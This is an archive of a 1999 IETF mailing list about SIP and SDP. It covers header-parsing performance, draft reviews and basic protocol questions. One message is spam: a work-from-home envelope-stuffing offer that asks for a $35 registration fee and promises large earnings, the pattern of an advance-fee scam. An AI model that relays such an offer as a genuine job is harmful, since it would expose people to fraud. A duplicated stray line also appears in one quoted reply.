	by petrack.metatel.com (8.8.7/8.8.7) with ESMTP id XAA06390;
	Sat, 5 Jun 1999 23:44:06 -0400
X-Authentication-Warning: petrack.metatel.com: scott.petrack owned process doing -bs
Date: Sat, 5 Jun 1999 23:44:05 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: confctrl@ISI.EDU
cc: Henning Schulzrinne <hgs@cs.columbia.edu>
Subject: Compact form for headers -- let's try to be reasonable
In-Reply-To: <37591F7A.AEB878E@cs.columbia.edu>
Message-ID: <Pine.LNX.4.10.9906052228050.4660-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'm afraid that I'm starting to find this all a bit silly.

SIP proxies look at headers and route the messages based on those headers.
In my optimized proxy, it would improvement throughput by several percent
to have every header the proxy needs to understand on a "fast path." I am
surprised that this is even controversial. No, I am afraid that I can't
share with you the tricks I use to get me to the point where header
parsing is noticeable. My current estimate is somewhere around 2-4%. One
reason I "dared" suggest compact forms to get such an increase is the
absolutely *trivial* amount of work it would entail on the part of older
implementations. Every SIP implementation in the galaxy could have been
made to recognize "q:" for CSeq in much less time than it would have taken
to complain about it.

My application is a highly
optimized proxy server, as stateless as possible as often as possible, 
coded to get the very largest throughput possible. All it does is 
route SIP packets to the next destination (perhaps rewriting the
Request-URI). Of course if there are errors or special problems then
things are much slower. There is no media going through these SIP proxies.
They are doing nothing else. They almost never look at the session 
description.

In toy code made up from my own application, I can get about 2-5%
improvement by using 2-byte fixed length headers. Before you scoff and
shush, please read:

Henning's results really don't reflect my reality, because I have already
optimized a great deal of processing. After optimizing absolutely
everything I can, I got a small but real improvement in my application by
having all headers be a fixed two-byte length. I also noticed that indeed
I might save 20-30 bytes in SIP messages with 5-10 optional headers
(and it is these messages which get me dangerously close to the MTU).  It
was at this point that I posted my note to confctrl. I never suggested
that this will somehow make a server go from 10 SIP messages/second to 
10,000. Henning's toy results showed a 2% improvement with just one field
(66.4 us to 65 us). As Henning so rightly remarked, such results are not
very realistic -- what is realistic is that in this very large proxy
server, comparing strings of many header fields slows things by several
percent. 

To answer other points made in this discussion:

1. Surely in the case of 400 Bad Request at least, a server should copy
all fields from the request into the response. Copying only the fields it
understands may well destroy the "badness" of the request. (Note that this
is STILL not a problem for the CSeq field -- getting back a message with
no CSeq in it is as good an indication as any that that the server could
not understand any CSeq line in the request. There is no need to match the
response to the original request in this case, it is enough for the client
to know that the server did not see any CSeq line)

2. About Anup's comments -- my application is fundamentally different from
the RTSP case, because I am not talking about a User Agent client or
server that is doing a lot of processing of the packets. It is rather like
a large RTSP proxy. My basic bound is the speed of raw IO processing, and
then memory, and after that comes parsing -- I have been able to find
tricks for other things).

3. I accept the argument that we really must remain RFC 822 -like, so I
accept that things other than a colon may be a bad idea. But this still
gives us 26 short headers, which is enough for all common fields.

4. I seem to touched a raw nerve on the "binary vs.
text" debate, and I did not mean to be so controversial. I actually
believe that the two byte short form ("q:", "x:", "w:") seemed to me to be
an elegant compromise -- it can be treated as binary for speed processing,
but really is not harder to understand than "CSeq". For goodness sake, 
you have to be a rather specialized human to think that "CSeq" is human
readable.

Scott


On Sat, 5 Jun 1999, Henning Schulzrinne wrote:

> 
> This measurement approach is only realistic if one assumes that the code
> is in the cache; it does not account for things like reading data from a
> socket or context-switch overhead, but actual computation time is likely
> to be about 20-30% smaller due to compiler optimizations. Somebody
> should do profiling within a whole system.
> 
> The gprof profiler indicates that
The SIP parser I have in mind is highly optimized to be a very
The SIP parser I have in mind is highly optimized to be a very
> 72.45% of the time is spent splitting the message (probably since the
> routine needs to look at each character);
> 10.91% of the time is spent actually extracting header values;
>  0.7%  of the time is spent in strcasecmp, the routine that checks for
> CSeq.
> 
> This result was confirmed by changing CSeq to q and comparing the
> measured execution time. It changed from 66.4 to 65 us.
> 
> Thus, even if one looks only at a small subset of the parser, e.g.,
> without URL or Via parsing, making the change suggested saves less than
> 1% of the computation. Clearly, with any real system, this will be at
> least an order of magnitude less, even within the parser. This estimate
> is based on the expense of touching each character in parsing the more
> complicated headers.
> 
> Also, optimizing the line splitting is going to be far more effective
> than mucking with header names.
> 
> Henning
> 


From confctrl-owner  Sun Jun  6 19:16:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA12336
	for confctrl-outgoing; Sun, 6 Jun 1999 19:16:44 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA12323
	for <confctrl@zephyr.isi.edu>; Sun, 6 Jun 1999 19:16:42 -0700 (PDT)
Received: from ns.bigbear.net (lai-ca4b-175.ix.netcom.com [209.110.245.175])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id TAA05994;
	Sun, 6 Jun 1999 19:16:21 -0700 (PDT)
From: toukol@mindspring.com
Message-Id: <199906070216.TAA05994@venera.isi.edu>
Subject: Homeworkers Needed!
Date: Sun, 6 Jun 1999 15:45:36
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Future Associate,

You Can Work At Home & Set Your Own Hours.  Start earning Big 
Money in a short time
       
                                    NO Newspaper Advertising!

Your job will be to stuff and mail envelopes for our company. You 
will receive $.25 for each and every envelope you stuff and mail 
out.

Just follow our simple instructions and you will be making money 
as easy as
1… 2… 3

For example stuff and mail 200 envelopes and you will receive 
$50.00. Stuff and mail 1000 and you will receive $250.00. Stuff 
and mail 2000 and you will receive $500.00 and more 

Never before has there been an easier way to make money from 
home!

Our Company's Home Mailing Program is designed for people with 
little or no experience and provides simple, step by step 
instructions.  

There is no prior experience or special skills necessary on your 
part, Just stuffing envelopes.

We need the help of honest and reliable home workers like you.  
Because we are overloaded with work and have more than our staff 
can handle. We have now expanded our mailing program and are 
expecting to reach millions more with our offers throughout the 
US and Canada.

Our system of stuffing and mailing envelopes is very simple and 
easy to do!
You will not be required to buy envelopes or postage stamps.

We will gladly furnish all circulars at no cost to you. We assure 
you that as a participant in our program you will never have to 
mail anything objective or offensive. 

There are no quotas to meet, and there no contracts to sign. You 
can work as much, or as little as you want. Payment for each 
envelope you send out is Guaranteed!

Here is what you will receive when you get your first Package.  
Inside you will find 100 envelopes, 100 labels and 100 sales 
letters ready to stuff and mail

As soon as you are done with stuffing and mailing these first 
letters, your payment will arrive shortly, thereafter. All you 
have to do is to order more free supplies and stuff and mail more 
envelopes to make more money.

Our sales literature which you will be stuffing and mailing will 
contain
information outlining our highly informative manuals that we are
advertising nationwide.  As a free gift you will receive a 
special manual valued at  $24.95, absolutely free, just for 
joining our Home Mailers Program.

Plus you will get your own special code number, so that we will 
know how much you are to get paid.  And to make re-ordering of 
more envelopes, that our company supplies very simple for you.

We are giving you this free bonus because we want you to be 
confident in our company and to ensure that we will be doing 
business with you for a long time.

Benefits Of This Job:

1. You do not have to quit your present job, to earn more money 
at home
2. You can make between $2,500 to $4,500 a month depending on the 
amount of time you are willing to spend stuffing and mailing 
envelopes
3. This is a great opportunity for the students, mothers, 
disabled persons or those who are home bodies.

To secure your position and to show us that you are serious about 
earning extra income at home we require a one-time registration 
fee of $35.00.
This fee covers the cost of your initial start up package,  which 
includes 100 envelopes, 100 labels and 100 sales letters and a 
manual, your registration fee will be refunded back to you 
shortly thereafter.

Money Back Guarantee!

We guarantee that as soon as you stuff and mail your first 300 
envelopes You will be paid $75.00 and your registration fee will 
be refunded.

Many of you wonder why it is necessary to pay a deposit to get a 
job. It is because we are looking for people that seriously want 
to work from home.  

*  If 3.000 people told us they wanted to start working from home 
and we sent out 3.000 packages free to every one.  And then half 
of the people decided not to work, this would be a potential loss 
of more than $60,000 in supply's and shipping that we have sent 
out to people that don't want to work

We have instituted this policy to make sure that you really want 
to work and at least finish your first package.

To Get Started Today Please Enclose Your Registration Fee of $35
Check,Cash Or Money Order and fill out the application below and 
mail to:

AHWA CO
425 S Fairfax Blvd., STE 306
Los Angeles, CA 90036

Name_____________________________________________________

Address___________________________________________________

City____________________________________ State______________

Zip Code________________

Telephone Number(s)_________________________________________

E-mail Address______________________________________________



For all orders, please allow seven (7) days for delivery and up 
to 10 days. Cash and Money Orders will result in faster shipping 
of your package.
 
 
 
 
 
 
 
 

From confctrl-owner  Mon Jun  7 01:16:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA24400
	for confctrl-outgoing; Mon, 7 Jun 1999 01:16:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA24395
	for <confctrl@zephyr.isi.edu>; Mon, 7 Jun 1999 01:16:04 -0700 (PDT)
Received: from btm4r4.alcatel.be (btm4r4.alcatel.be [195.207.101.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA09238
	for <confctrl@isi.edu>; Mon, 7 Jun 1999 01:16:02 -0700 (PDT)
Received: from rc.bel.alcatel.be (btmq9s.rc.bel.alcatel.be [138.203.65.182])
	by btm4r4.alcatel.be (8.9.1a/8.9.1) with ESMTP id KAA06280;
	Mon, 7 Jun 1999 10:15:27 +0200 (MET DST)
Received: from alcatel.be by  rc.bel.alcatel.be
	id KAA18510; Mon, 7 Jun 1999 10:17:00 +0200 (MET DST)
Message-ID: <375B7F90.D692EE8C@alcatel.be>
Date: Mon, 07 Jun 1999 10:15:13 +0200
From: Emmanuel Bertrand <emmanuel.bertrand@alcatel.be>
Organization: Alcatel
X-Mailer: Mozilla 4.51 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Vincent Mouilleron <mouivi@aud.alcatel.com>
CC: confctrl@ISI.EDU
Subject: Re: Compact names
References: <37575022.F6E30913@aud.alcatel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Vincent,

The path followed by SIP messages has nothing to do with the path followed
by voice (media) packets.  Across the network, SIP messages are processed by
SIP servers (at application level) while voice packets are processed by
routers (i.e. at network level).  This is an illustration (among others) of
the orthogonality between signaling and media transport in IP telephony.  In
the discussions of  Henning, Jonathan and Scott, the concern is to make the
signaling process as fast and effective as possible, regardless of the
transport and routing of voice packets that may come after.

Hope this helps,

Manu

--
---------------------------------------------------------------
Emmanuel Bertrand
Alcatel - Corporate Research Center
Network Architecture Department
F. Wellesplein 1   B-2018 Antwerp - Belgium
Phone : +32 3 240 97 35 - Fax : +32 3 240 99 32
Alcanet : (+60) 59735 - Email : emmanuel.bertrand@alcatel.be
http://www.rc.bel.alcatel.be/projects/Internet/VoIP/
---------------------------------------------------------------

Vincent Mouilleron wrote:

> I am maybe not enough familiar with the protocol, so let me know if I am
> defenetaly wrong, but I would like to make a comment :
>
> SIP only initiates the session. That means that a flow of data is going
> to follow the SIP message.
> What I do not understand is that if you can not afford spending a few
> microseconds to perform a strcmp, how can you expect to manage the data
> flow ?
> I mean, the time required in executing a strcmp is unrelevant compare to
> the time the session is going to last. And it seems that the more
> important the traffic will be, the more unsignificant the SIP message
> treatment time will be.
>
> Am I right ?
>
> --
> Vincent Mouilleron
>
> Corporate Research Center
> Alcatel U.S.A.
> 1201 East Campbell Road         | Tel : (1) 972-996-7439
> M/S 446-310                     | Fax : (1) 972-996-5902
> 75081-1936 Richardson, TX. USA. | E-mail : mouivi@aud.alcatel.com


From confctrl-owner  Mon Jun  7 04:25:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA00283
	for confctrl-outgoing; Mon, 7 Jun 1999 04:25:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA00278
	for <confctrl@zephyr.isi.edu>; Mon, 7 Jun 1999 04:25:55 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id EAA14239
	for <confctrl@isi.edu>; Mon, 7 Jun 1999 04:25:53 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.15724-0@bells.cs.ucl.ac.uk>; Mon, 7 Jun 1999 12:25:17 +0100
To: Ross Finlayson <finlayson@live.com>
cc: confctrl@ISI.EDU
Subject: Re: Quick comment re. draft-ietf-mmusic-sap-v2-01.txt
In-reply-to: Your message of "Fri, 04 Jun 1999 13:34:26." <3.0.5.16.19990604133426.2d9faafc@shell7.ba.best.com>
Date: Mon, 07 Jun 1999 12:25:17 +0100
Message-ID: <1102.928754717@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Ross Finlayson writes:
>Colin (cc. confctrl),
>
>I've just taken a quick look at "draft-ietf-mmusic-sap-v2-01.txt".  Good job!
>
>I'd like to suggest, though, that you simplify the draft by completely
>removing section 6: the section that describes Directory Sessions.  Because
>directory session advertisements are a feature of *SDP*, the discussion
>here doesn't really belong in a description of SAP - the announcement
>protocol.

Perhaps, although the authentication requirements tie it to SAP somewhat?
I was trying to avoid writing a one-page RFC on this, but if you think it's
better split out into a separate document I have no real objection to this. 

Cheers,
Colin

From confctrl-owner  Mon Jun  7 07:05:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA05455
	for confctrl-outgoing; Mon, 7 Jun 1999 07:05:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA05450
	for <confctrl@zephyr.isi.edu>; Mon, 7 Jun 1999 07:05:40 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA19122
	for <confctrl@ISI.EDU>; Mon, 7 Jun 1999 07:05:38 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id KAA01691;
	Mon, 7 Jun 1999 10:05:37 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id KAA15372;
	Mon, 7 Jun 1999 10:05:34 -0400 (EDT)
Message-ID: <375BD1AD.E399D4F@cs.columbia.edu>
Date: Mon, 07 Jun 1999 10:05:34 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
CC: Ross Finlayson <finlayson@live.com>, confctrl@ISI.EDU
Subject: Re: Quick comment re. draft-ietf-mmusic-sap-v2-01.txt
References: <1102.928754717@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Colin Perkins wrote:
> 
> --> Ross Finlayson writes:
> >Colin (cc. confctrl),
> >
> >I've just taken a quick look at "draft-ietf-mmusic-sap-v2-01.txt".  Good job!
> >
> >I'd like to suggest, though, that you simplify the draft by completely
> >removing section 6: the section that describes Directory Sessions.  Because
> >directory session advertisements are a feature of *SDP*, the discussion
> >here doesn't really belong in a description of SAP - the announcement
> >protocol.
> 
> Perhaps, although the authentication requirements tie it to SAP somewhat?
> I was trying to avoid writing a one-page RFC on this, but if you think it's
> better split out into a separate document I have no real objection to this.

Given that SDP is now widely used outside of SAP, it would be much
better, I believe, to keep SDP and SAP as separate as possible. This
avoids having to go hunting all over for SDP-related information that
might be useful outside the context of SAP. Thus, I'd move any
description of SDP to a separate appendix, similar to the 'SDP
considerations' section in SIP. (SIP, for example, may well carry SDP
payloads that contain directory sessions, as could email.)


> 
> Cheers,
> Colin

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Jun  7 12:02:48 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA17675
	for confctrl-outgoing; Mon, 7 Jun 1999 12:02:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA17670
	for <confctrl@zephyr.isi.edu>; Mon, 7 Jun 1999 12:02:47 -0700 (PDT)
Received: from omzrelay01.mcit.com (alpha.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA18642
	for <confctrl@ISI.EDU>; Mon, 7 Jun 1999 12:02:46 -0700 (PDT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #38416)
 with ESMTP id <0FCZ00M6J09WYJ@firewall.mcit.com> for confctrl@ISI.EDU; Mon,
 7 Jun 1999 18:49:09 +0000 (GMT)
Received: from omzmta02.mcit.com (omzmta02.mcit.com [166.37.194.120])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id SAA06481; Mon,
 07 Jun 1999 18:48:31 +0000 (GMT)
Received: from c25776a ([166.35.225.191])
 by omzmta02.mcit.com (InterMail v03.02.05 118 120)
 with SMTP id <19990607184907.QXOO642@[166.35.225.191]>; Mon,
 07 Jun 1999 18:49:07 +0000
Date: Mon, 07 Jun 1999 13:49:05 -0500
From: Henry Sinnreich <henry.sinnreich@wcom.com>
Subject: SIP-H.323 mapping
In-reply-to: <375BD1AD.E399D4F@cs.columbia.edu>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@ISI.EDU
Message-id: <NBBBIIJFOKPMFOOILMBKAEGNECAA.henry.sinnreich@wcom.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-Mailer: Microsoft Outlook IMO, Build 9.0.2212 (4.71.2419.0)
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Could use any pointer to SIP-H.323 mapping for such as signaling gateway
functions for networks with mixed SIP and H.323 environment. Any help is
welcome.

Thanks, Henry

Henry Sinnreich
MCI WorldCom
400 International Parkway
Richardson, Texas 75081, USA


From confctrl-owner  Mon Jun  7 18:51:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA04225
	for confctrl-outgoing; Mon, 7 Jun 1999 18:51:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA04220
	for <confctrl@zephyr.isi.edu>; Mon, 7 Jun 1999 18:51:34 -0700 (PDT)
Received: from turin.trillium.com (turin.trillium.com [206.216.108.218])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA11720
	for <confctrl@isi.edu>; Mon, 7 Jun 1999 18:51:33 -0700 (PDT)
Received: (from uucp@localhost)
	by turin.trillium.com (8.8.7/8.8.7) id SAA01905
	for <confctrl@isi.edu>; Mon, 7 Jun 1999 18:50:57 -0700 (PDT)
Received: from aiglos.trillium.com(198.242.58.90)
 via SMTP by turin.trillium.com, id smtpdAAAa000Tj; Mon Jun  7 18:50:48 1999
Received: from isildur.trillium.com.trillium.com (isildur [198.242.58.48])
	by aiglos.trillium.com (8.9.3/8.9.3) with SMTP id SAA27349;
	Mon, 7 Jun 1999 18:50:44 -0700 (PDT)
Received: by isildur.trillium.com.trillium.com (SMI-8.6/SMI-SVR4)
	id SAA03815; Mon, 7 Jun 1999 18:39:04 -0700
Date: Mon, 7 Jun 1999 18:39:04 -0700
From: pradeep@trillium.com (Pradeep Malhotra)
Message-Id: <199906080139.SAA03815@isildur.trillium.com.trillium.com>
To: confctrl@ISI.EDU
Subject: Question about SIP protocol
Cc: pradeep@trillium.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-MD5: dohWxNv2Ey0RCfif1K7L5Q==
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
	I have a fundamantal question on a telephonic call estblishment over
	internet using SIP. SIP is used by ite user (call control etc..) to		
	establish the session between the called and the calling party. After
	the session establishment the user may require a UDP port to send voice
	packets (using RTP protocol). Which UDP port should be used for
	this purpose? Is this negotiated during the session establishment
	using SIP?
	
	Your help is appreciated..
	
regards,
pradeep

From confctrl-owner  Mon Jun  7 20:16:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA07344
	for confctrl-outgoing; Mon, 7 Jun 1999 20:16:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA07338
	for <confctrl@zephyr.isi.edu>; Mon, 7 Jun 1999 20:16:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA16418
	for <confctrl@isi.edu>; Mon, 7 Jun 1999 20:16:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon Jun  7 23:15:50 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.250.52])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA00614;
	Mon, 7 Jun 1999 23:15:48 -0400 (EDT)
Message-ID: <375C8B06.929B70FC@dnrc.bell-labs.com>
Date: Mon, 07 Jun 1999 23:16:22 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Pradeep Malhotra <pradeep@trillium.com>
CC: confctrl@ISI.EDU
Subject: Re: Question about SIP protocol
References: <199906080139.SAA03815@isildur.trillium.com.trillium.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Pradeep Malhotra wrote:
> 
> Hi,
>         I have a fundamantal question on a telephonic call estblishment over
>         internet using SIP. SIP is used by ite user (call control etc..) to
>         establish the session between the called and the calling party. After
>         the session establishment the user may require a UDP port to send voice
>         packets (using RTP protocol). Which UDP port should be used for
>         this purpose? Is this negotiated during the session establishment
>         using SIP?

This is accomplished with the session description protocol (SDP),
rfc2327. SDP describes codecs, port numbers, and media streams for a
session. SDP is carried in SIP message to describe the session the
called party is being asked to join. See annex B of SIP (rfc2543), which
describes the usage of SDP in SIP. It describes how to format the SDP to
convey port numbers and the like.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Jun  7 21:32:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA09652
	for confctrl-outgoing; Mon, 7 Jun 1999 21:32:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA09647
	for <confctrl@zephyr.isi.edu>; Mon, 7 Jun 1999 21:32:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA20015
	for <confctrl@isi.edu>; Mon, 7 Jun 1999 21:32:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Jun  8 00:31:14 EDT 1999
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id AAA14994;
	Tue, 8 Jun 1999 00:31:13 -0400 (EDT)
Message-ID: <375C9CAD.136F8F13@dnrc.bell-labs.com>
Date: Tue, 08 Jun 1999 00:31:41 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.6 [en] (WinNT; U)
X-Accept-Language: en,ru
MIME-Version: 1.0
To: Pradeep Malhotra <pradeep@trillium.com>
CC: confctrl@ISI.EDU
Subject: Re: Question about SIP protocol
References: <199906080139.SAA03815@isildur.trillium.com.trillium.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Media session description (including port numbers) should normally be
listed in INVITE/response message body. All SIP implementations are
required to support SDP (RFC 2327) media descriptions (Content-type is
application/sdp) but other types are possible. See Appendix B of RFC2543
for details on using SDP with SIP.

---
Igor Slepchin


Pradeep Malhotra wrote:
> 
> Hi,
>         I have a fundamantal question on a telephonic call estblishment over
>         internet using SIP. SIP is used by ite user (call control etc..) to
>         establish the session between the called and the calling party. After
>         the session establishment the user may require a UDP port to send voice
>         packets (using RTP protocol). Which UDP port should be used for
>         this purpose? Is this negotiated during the session establishment
>         using SIP?
> 
>         Your help is appreciated..
> 
> regards,
> pradeep

From confctrl-owner  Tue Jun  8 15:02:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA17480
	for confctrl-outgoing; Tue, 8 Jun 1999 15:02:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA17475
	for <confctrl@zephyr.isi.edu>; Tue, 8 Jun 1999 15:02:42 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA27552
	for <confctrl@isi.edu>; Tue, 8 Jun 1999 15:02:41 -0700 (PDT)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id RAA27769
	for <confctrl@isi.edu>; Tue, 8 Jun 1999 17:02:10 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id RAA23592
	for <confctrl@isi.edu>; Tue, 8 Jun 1999 17:02:05 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id RAA11278 for <confctrl@isi.edu>; Tue, 8 Jun 1999 17:02:03 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id RAA13231
	for confctrl@isi.edu; Tue, 8 Jun 1999 17:01:57 -0500 (CDT)
Message-Id: <199906082201.RAA13231@b04a24.exu.ericsson.se>
Subject: draft-ietf-mmusic-sip-multipart-00.txt
To: confctrl@ISI.EDU
Date: Tue, 8 Jun 1999 17:01:57 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The current draft for multipart bodies for SIP messages 
(<draft-ietf-mmusic-sip-multipart-00.txt>) appears to limit
bodies to, at the maximum:

1) One section with session information (e.g. SDP)
2) One section for telephony signalling transparancy (e.g. ISUP)
3) One section for billing information (e.g. OTP)

Given that each message is bound by an MTU when using UDP,
this may not be a bad thing; however, there seem to be a few
cases when it would be beneficial to include multiple ISUP messages 
in a single SIP message. For example, when the ingress gateway
is performing overlap dialing "analysis" by waiting for an
inter-digit timeout, it will potentially collect an IAM and 
several SAMs before sending out an INVITE. The gateway could just
glom all the digits together and send them in one IAM, but this
seems a bit intrusive: we wouldn't be providing ISUP transparency
per se, as much as ISUP translations.

Similarly, we could take segmented messages and combine them into
a single large message, but this takes extra processing at
both ends.

I realise that, with the INFO extension, the subsequent messages 
could be sent following the INVITE/IAM message; however, this
seems like an unnecessary amount of network overhead.

Comments, anyone? Does this need to be revised/clarified in the
current draft, or should implementations just try to work around
this limitation?

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Jun  8 16:14:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA19856
	for confctrl-outgoing; Tue, 8 Jun 1999 16:14:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA19851
	for <confctrl@zephyr.isi.edu>; Tue, 8 Jun 1999 16:14:17 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA06518
